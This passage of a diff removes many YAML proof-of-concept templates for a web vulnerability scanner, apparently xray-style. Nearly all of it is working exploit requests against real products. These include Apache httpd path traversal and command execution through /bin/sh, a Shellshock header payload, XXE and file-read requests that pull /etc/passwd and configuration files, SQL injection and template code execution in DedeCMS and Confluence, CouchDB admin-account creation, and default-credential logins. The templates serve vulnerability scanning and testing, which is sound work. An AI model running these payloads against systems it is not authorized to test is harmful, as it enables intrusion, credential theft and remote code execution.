(?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- method: DELETE
path: '/jars/{{filen}}'
follow_redirects: true
expression: |
response.status == 200
detail:
author: timwhite
links:
- https://github.com/LandGrey/flink-unauth-rce
@@ -1,12 +0,0 @@
name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
manual: true
transport: http
rules:
- method: GET
path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
follow_redirects: false
expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
detail:
author: Jarcis-cy(https://github.com/Jarcis-cy)
links:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
@@ -1,16 +0,0 @@
name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
groups:
cgibin:
- method: GET
path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
icons:
- method: GET
path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: JingLing(https://github.com/shmilylty)
links:
- https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
@@ -1,14 +0,0 @@
name: poc-yaml-apache-httpd-cve-2021-41773-rce
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
body: echo;expr {{r1}} + {{r2}}
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
@@ -1,10 +0,0 @@
name: poc-yaml-apache-kylin-unauth-cve-2020-13937
rules:
- method: GET
path: /kylin/api/admin/config
expression: |
response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
detail:
author: JingLing(github.com/shmilylty)
links:
- https://s.tencent.com/research/bsafe/1156.html
@@ -1,12 +0,0 @@
name: poc-yaml-apache-nifi-api-unauthorized-access
manual: true
transport: http
rules:
- method: GET
path: /nifi-api/flow/current-user
follow_redirects: false
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
@@ -1,15 +0,0 @@
name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
@@ -1,19 +0,0 @@
name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /webtools/control/xmlrpc
headers:
Content-Type: application/xml
body: >-
<?xml
version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
follow_redirects: false
expression: >
response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
-16
View File
@@ -1,16 +0,0 @@
name: poc-yaml-aspcms-backend-leak
rules:
- method: GET
path: /plug/oem/AspCms_OEMFun.asp
expression: |
response.status == 200 && "<script>alert".bmatches(response.body) && "top.location.href='(.*?)';".bmatches(response.body)
search: >-
(?P<path>(/(.*?).asp))
- method: GET
path: /{{path}}
expression: |
response.status == 200 && response.body.bcontains(b"username")
detail:
author: Hzllaga
links:
- https://www.onebug.org/wooyundata/65458.html
-64
View File
@@ -1,64 +0,0 @@
name: poc-yaml-backup-file
set:
host: request.url.domain
sets:
path:
- "sql"
- "www"
- "wwwroot"
- "index"
- "backup"
- "back"
- "data"
- "web"
- "db"
- "database"
- "ftp"
- "admin"
- "upload"
- "package"
- "sql"
- "old"
- "test"
- "root"
- "beifen"
- host
ext:
- "zip"
- "7z"
- "rar"
- "gz"
- "tar.gz"
- "db"
- "bak"
rules:
- method: GET
path: /{{path}}.{{ext}}
follow_redirects: false
continue: true
expression: |
response.content_type.contains("application/") &&
(response.body.startsWith("377ABCAF271C".hexdecode()) ||
response.body.startsWith("314159265359".hexdecode()) ||
response.body.startsWith("53514c69746520666f726d6174203300".hexdecode()) ||
response.body.startsWith("1f8b".hexdecode()) ||
response.body.startsWith("526172211A0700".hexdecode()) ||
response.body.startsWith("FD377A585A0000".hexdecode()) ||
response.body.startsWith("1F9D".hexdecode()) ||
response.body.startsWith("1FA0".hexdecode()) ||
response.body.startsWith("4C5A4950".hexdecode()) ||
response.body.startsWith("504B0304".hexdecode()) )
# - "377ABCAF271C" # 7z
# - "314159265359" # bz2
# - "53514c69746520666f726d6174203300" # SQLite format 3.
# - "1f8b" # gz tar.gz
# - "526172211A0700" # rar RAR archive version 1.50
# - "526172211A070100" # rar RAR archive version 5.0
# - "FD377A585A0000" # xz tar.xz
# - "1F9D" # z tar.z
# - "1FA0" # z tar.z
# - "4C5A4950" # lz
# - "504B0304" # zip
detail:
author: shadown1ng(https://github.com/shadown1ng)
-14
View File
@@ -1,14 +0,0 @@
name: poc-yaml-bash-cve-2014-6271
set:
r1: randomInt(800000000, 1000000000)
r2: randomInt(800000000, 1000000000)
rules:
- method: GET
headers:
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'"
follow_redirects: false
expression: response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: neal1991(https://github.com/neal1991)
links:
- https://github.com/opsxcq/exploit-CVE-2014-6271
@@ -1,11 +0,0 @@
name: poc-yaml-bt742-pma-unauthorized-access
rules:
- method: GET
path: /pma/
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
detail:
author: Facker007(https://github.com/Facker007)
links:
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A
@@ -1,15 +0,0 @@
name: poc-yaml-cacti-weathermap-file-write
rules:
- method: GET
path: >-
/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7
follow_redirects: false
expression: response.status == 200
- method: GET
path: /plugins/weathermap/configs/test.php
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"46ea1712d4b13b55b3f680cc5b8b54e8")
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.secpulse.com/archives/47690.html
@@ -1,9 +0,0 @@
name: poc-yaml-chinaunicom-modem-default-password
rules:
- method: POST
path: /cu.html
body: >-
frashnum=&action=login&Frm_Logintoken=1&Username=CUAdmin&Password=CUAdmin&Username=&Password=
follow_redirects: false
expression: |
response.status == 302 && response.headers["location"] == "/menu.gch"
@@ -1,11 +0,0 @@
name: poc-yaml-cisco-cve-2020-3452-readfile
rules:
- method: GET
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
follow_redirects: false
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
detail:
author: JrD (https://github.com/JrDw0/)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
@@ -1,11 +0,0 @@
name: poc-yaml-citrix-cve-2019-19781-path-traversal
rules:
- method: GET
path: /vpn/../vpns/cfg/smb.conf
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"encrypt passwords") && response.body.bcontains(b"name resolve order")
detail:
author: su(https://suzzz112113.github.io/#blog)
links:
- https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
-18
View File
@@ -1,18 +0,0 @@
name: poc-yaml-citrix-cve-2020-8191-xss
set:
r1: randomLowercase(6)
rules:
- method: POST
path: /menu/stapp
headers:
Content-Type: application/x-www-form-urlencoded
body: >-
sid=254&pe=1%2C2%2C3%2C4%2C5&appname=%0D%0A%3C%2Ftitle%3E%3Cscript%3Ealert%28{{r1}}%29%3B%3C%2Fscript%3E&au=1&username=nsroot
follow_redirects: true
expression: response.body.bcontains(bytes("<script>alert(" + r1 + ");</script>")) && response.body.bcontains(b"citrix")
detail:
author: JingLing(https://hackfun.org/)
links:
- https://support.citrix.com/article/CTX276688
- https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
- https://dmaasland.github.io/posts/citrix.html
@@ -1,20 +0,0 @@
name: poc-yaml-citrix-cve-2020-8193-unauthorized
set:
user: randomLowercase(8)
pass: randomLowercase(8)
rules:
- method: POST
path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
headers:
Content-Type: application/xml
X-NITRO-USER: '{{user}}'
X-NITRO-PASS: '{{pass}}'
body: <appfwprofile><login></login></appfwprofile>
follow_redirects: false
expression: >
response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
detail:
author: bufsnake(https://github.com/bufsnake)
links:
- https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
- https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
@@ -1,11 +0,0 @@
name: poc-yaml-citrix-xenmobile-cve-2020-8209
rules:
- method: GET
path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://nvd.nist.gov/vuln/detail/CVE-2020-8209
@@ -1,13 +0,0 @@
name: poc-yaml-coldfusion-cve-2010-2861-lfi
rules:
- method: GET
path: >-
/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
detail:
version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-confluence-cve-2015-8399
rules:
- method: GET
path: /spaces/viewdefaultdecorator.action?decoratorName
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.anquanke.com/vul/id/1150798
@@ -1,17 +0,0 @@
name: poc-yaml-confluence-cve-2019-3396-lfi
rules:
- method: POST
path: /rest/tinymce/1/macro/preview
headers:
Content-Type: "application/json"
Host: localhost
Referer: http://localhost
body: >-
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"<param-name>contextConfigLocation</param-name>")
detail:
author: sharecast
links:
- https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
@@ -1,15 +0,0 @@
name: poc-yaml-confluence-cve-2021-26084
set:
r1: randomInt(100000, 999999)
r2: randomInt(100000, 999999)
rules:
- method: POST
path: /pages/createpage-entervariables.action?SpaceKey=x
body: |
queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
detail:
author: Loneyer(https://github.com/Loneyers)
links:
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
@@ -1,12 +0,0 @@
name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
set:
rand: randomLowercase(6)
rules:
- method: GET
path: /s/{{rand}}/_/;/WEB-INF/web.xml
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"<display-name>Confluence</display-name>") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-consul-rexec-rce
rules:
- method: GET
path: /v1/agent/self
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")
detail:
author: imlonghao(https://imlonghao.com/)
links:
- https://www.exploit-db.com/exploits/46073
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-consul-service-rce
rules:
- method: GET
path: /v1/agent/self
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
detail:
author: imlonghao(https://imlonghao.com/)
links:
- https://www.exploit-db.com/exploits/46074
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-coremail-cnvd-2019-16798
rules:
- method: GET
path: >-
/mailsms/s?func=ADMIN:appState&dumpConfig=/
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
detail:
author: cc_ci(https://github.com/cc8ci)
links:
- https://www.secpulse.com/archives/107611.html
-16
View File
@@ -1,16 +0,0 @@
name: poc-yaml-couchcms-cve-2018-7662
rules:
- method: GET
path: /includes/mysql2i/mysql2i.func.php
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in")
- method: GET
path: /addons/phpmailer/phpmailer.php
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in")
detail:
author: we1x4n(https://we1x4n.github.io/)
links:
- https://github.com/CouchCMS/CouchCMS/issues/46
-24
View File
@@ -1,24 +0,0 @@
name: poc-yaml-couchdb-cve-2017-12635
set:
r1: randomLowercase(32)
rules:
- method: PUT
path: '/_users/org.couchdb.user:{{r1}}'
headers:
Content-Type: application/json
Content-Length: '192'
body: |-
{
"type": "user",
"name": "{{r1}}",
"roles": ["_admin"],
"roles": [],
"password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9"
}
follow_redirects: false
expression: |
response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
-11
View File
@@ -1,11 +0,0 @@
name: poc-yaml-couchdb-unauth
rules:
- method: GET
path: /_config
follow_redirects: false
expression: >
response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager")
detail:
author: FiveAourThe(https://github.com/FiveAourThe)
links:
- https://www.seebug.org/vuldb/ssvid-91597
@@ -1,20 +0,0 @@
name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce
set:
r1: randomInt(40000, 44800)
r2: randomInt(40000, 44800)
groups:
poc1:
- method: GET
path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}}
expression: |
response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
poc2:
- method: GET
path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}}
expression: |
response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: x1n9Qi8
links:
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757
@@ -1,14 +0,0 @@
name: poc-yaml-datang-ac-default-password-cnvd-2021-04128
rules:
- method: POST
path: /login.cgi
follow_redirects: false
body: >-
user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95
expression: |
response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128
@@ -1,22 +0,0 @@
name: poc-yaml-dedecms-carbuyaction-fileinclude
rules:
- method: GET
path: /plus/carbuyaction.php?dopost=return&code=../../
headers:
Cookie: code=alipay
follow_redirects: true
expression: |
response.status == 200
- method: GET
path: /plus/carbuyaction.php?dopost=return&code=../../
headers:
Cookie: code=cod
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes("Cod::respond()"))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "DedeCmsV5.x"
links:
- https://www.cnblogs.com/milantgh/p/3615986.html
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-dedecms-cve-2018-6910
rules:
- method: GET
path: /include/downmix.inc.php
expression: |
response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()"))
detail:
author: PickledFish(https://github.com/PickledFish)
links:
- https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md
@@ -1,15 +0,0 @@
name: poc-yaml-dedecms-cve-2018-7700-rce
set:
r: randomInt(2000000000, 2100000000)
rules:
- method: GET
path: >-
/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "V5.7SP2正式版(2018-01-09)"
links:
- https://xz.aliyun.com/t/2224
-26
View File
@@ -1,26 +0,0 @@
name: poc-yaml-dedecms-guestbook-sqli
set:
r: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: |
response.status == 200
search: action=admin&id=(?P<articleid>\d{1,20})
- method: GET
path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='
follow_redirects: true
expression: |
response.status == 200
- method: GET
path: /plus/guestbook.php
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "5.7"
links:
- https://blog.csdn.net/god_7z1/article/details/8180454
-15
View File
@@ -1,15 +0,0 @@
name: poc-yaml-dedecms-membergroup-sqli
set:
r: randomInt(800000000, 1000000000)
rules:
- method: GET
path: >-
/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'`
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "5.6,5.7"
links:
- http://www.dedeyuan.com/xueyuan/wenti/1244.html
-13
View File
@@ -1,13 +0,0 @@
name: poc-yaml-dedecms-url-redirection
rules:
- method: GET
path: >-
/plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t
follow_redirects: false
expression: >
response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com"
detail:
author: cc_ci(https://github.com/cc8ci)
Affected Version: "V5.7 sp1"
links:
- https://blog.csdn.net/ystyaoshengting/article/details/82734888
@@ -1,22 +0,0 @@
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
set:
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /forum.php
follow_redirects: false
expression: |
response.status == 200
search: cookiepre = '(?P<token>[\w_]+)'
- method: GET
path: /forum.php
headers:
Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
detail:
author: X.Yang
Discuz_version: Discuz!ML 3.x
links:
